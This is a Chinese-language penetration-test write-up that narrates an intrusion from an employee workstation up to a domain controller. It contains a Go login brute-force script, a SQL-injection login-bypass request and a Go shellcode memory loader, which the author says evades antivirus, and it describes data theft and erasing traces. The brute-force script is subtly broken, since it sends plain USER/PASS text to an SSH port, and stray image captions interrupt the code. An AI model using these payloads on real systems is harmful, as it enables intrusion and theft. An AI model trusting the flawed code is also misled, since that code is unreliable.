0x01 从一次渗透测试说起

这次分享从一个真实的渗透案例开始。某次授权测试中,我接到任务要对一家中型企业的内部网络进行渗透测试。企业的网络架构比较典型,拥有多个子网和域控服务器,以便管理集中化。我们的任务是通过一个被攻破的员工终端,进入企业网络,进行进一步的权限提升和横向移动。此时,我的思考是:如何在不被发现的情况下,从一个普通用户权限,逐步获取域管理员权限?

0x02 打破第一道防线

网络初探

在进行渗透时,信息收集是至关重要的。我首先从被入侵的员工终端入手,进行了一系列的信息收集操作。使用基本的网络扫描工具如 nmap,我开始获取内部网络的基本结构。

<pre><code class="language-shell">nmap -sS -p- -T4 192.168.0.0/24</code></pre>

这条命令让我能快速扫描内网的所有开放端口,了解网络中有哪些设备在运行。扫描结果显示,有几台服务器位于不同子网段,并且可以看到有一台域控服务器和几台文件服务器。

黑客示意图

初步漏洞探测

接下来,我需要寻找能够进一步进入这些服务器的方法。我决定尝试一些常见的漏洞利用,首先使用Go进行简单的弱口令暴力破解。

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net&quot; &quot;time&quot; )

// 连接目标地址进行口令尝试 func connectToHost(host, port, user, password string) bool { conn, err := net.DialTimeout(&quot;tcp&quot;, fmt.Sprintf(&quot;%s:%s&quot;, host, port), 10*time.Second) if err != nil { return false } defer conn.Close()

// 假设服务允许通过简单的文本协议进行认证 fmt.Fprintf(conn, &quot;USER %s\nPASS %s\n&quot;, user, password) buffer := make([]byte, 1024) n, _ := conn.Read(buffer)

// 简单判断认证是否成功 return n &gt; 0 &amp;&amp; string(buffer[:n]) == &quot;Login successful&quot; }

func main() { host := &quot;192.168.0.10&quot; port := &quot;22&quot; user := &quot;admin&quot; password := &quot;admin&quot;

黑客示意图

if connectToHost(host, port, user, password) { fmt.Println(&quot;成功获取访问权限!&quot;) } else { fmt.Println(&quot;访问失败!&quot;) } }</code></pre>

这个Go脚本可以让我对目标进行简单的SSH暴力破解,虽然不是最佳选择,但有时能找到意想不到的弱口令。幸运的是,我发现了一台服务器使用默认的管理账号信息,于是我成功获得了访问权限。

0x03 横向移动的游击战术

寻找跳板

成功突破第一道防线后,我的目标是尽快找到能够进一步提升权限的跳板。通常,这需要定位对域控服务器来说有更高权限的机器。在这次测试中,我找到了一个负责财务的部门服务器,上面运行着一个过时的Web应用程序。

Web漏洞利用

通过对Web应用的分析,我发现了一个SQL注入漏洞。使用手工构造的SQL语句,我能够访问数据库中的用户信息和密码哈希,并进一步找到某个管理账号。

<pre><code class="language-shell">POST /login HTTP/1.1 Host: finance.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 100

username=admin&#039; OR 1=1--&amp;password=anything</code></pre>

由于应用并未对输入进行严格过滤,我成功地绕过了登录验证。接下来,我需要解密获取到的哈希值,利用这些信息,进一步扩展我的攻击范围。

权限提升

拥有了有效的账号信息后,我在财务服务器上进行了一次本地权限提升,这通常是通过利用未修补的本地提权漏洞来实现的。具体脚本和操作因系统而异,此处不详述。

0x04 终极目标:域控

域控渗透

通过在财务服务器上获得更高权限,我开始对域控服务器发起攻击。通常来说,域控的安全配置相对严格,因此我需要使用更隐蔽的方法。在此阶段,我使用了一个自写的内存加载工具进行攻击,完全绕过了常规的杀毒软件检测。

<pre><code class="language-go">package main

import ( &quot;syscall&quot; &quot;unsafe&quot; )

黑客示意图

// 内存加载Shellcode func executeShellcode(shellcode []byte) { kernel32 := syscall.NewLazyDLL(&quot;kernel32.dll&quot;) VirtualAlloc := kernel32.NewProc(&quot;VirtualAlloc&quot;) RtlCopyMemory := kernel32.NewProc(&quot;RtlCopyMemory&quot;)

addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE) RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&amp;shellcode[0])), uintptr(len(shellcode)))

syscall.Syscall(addr, 0, 0, 0, 0) }

func main() { shellcode := []byte{ // shellcode bytes here } executeShellcode(shellcode) }</code></pre>

此代码实现了一个简单的内存加载器,通过直接将Shellcode加载到内存并执行,有效地规避了检测。

数据窃取与清除痕迹

掌握域控权限后,我的下一个步骤是窃取对方有价值的数据。在此过程中,我使用了一个自写的工具来自动化数据收集,主要针对用户信息、网络配置和敏感文件。

在完成所有操作后,我进行了全面的痕迹清除,确保不会留下任何可供追踪的记录。

0x05 个人经验分享

在这次渗透测试中,我深刻体会到信息收集的重要性。初期的网络扫描和信息探测决定了后期攻击的方向和效率。每一步的权限提升和横向移动都需要经过仔细的规划,而不是盲目行动。

对于内网渗透来说,跳板的选择至关重要,选择合适的中间服务器,可以有效缩短攻击路径并增加攻击成功率。最重要的是,始终保持隐蔽,使用内存加载和自写工具进行攻击,能够有效地绕过检测系统。

这次经验让我更深刻理解了内网渗透的复杂性和挑战,也希望在未来的渗透测试中不断完善自己的技术。

黑客示意图

声明:本文内容仅限授权安全测试,旨在供安全研究人员学习,严禁用于非法目的。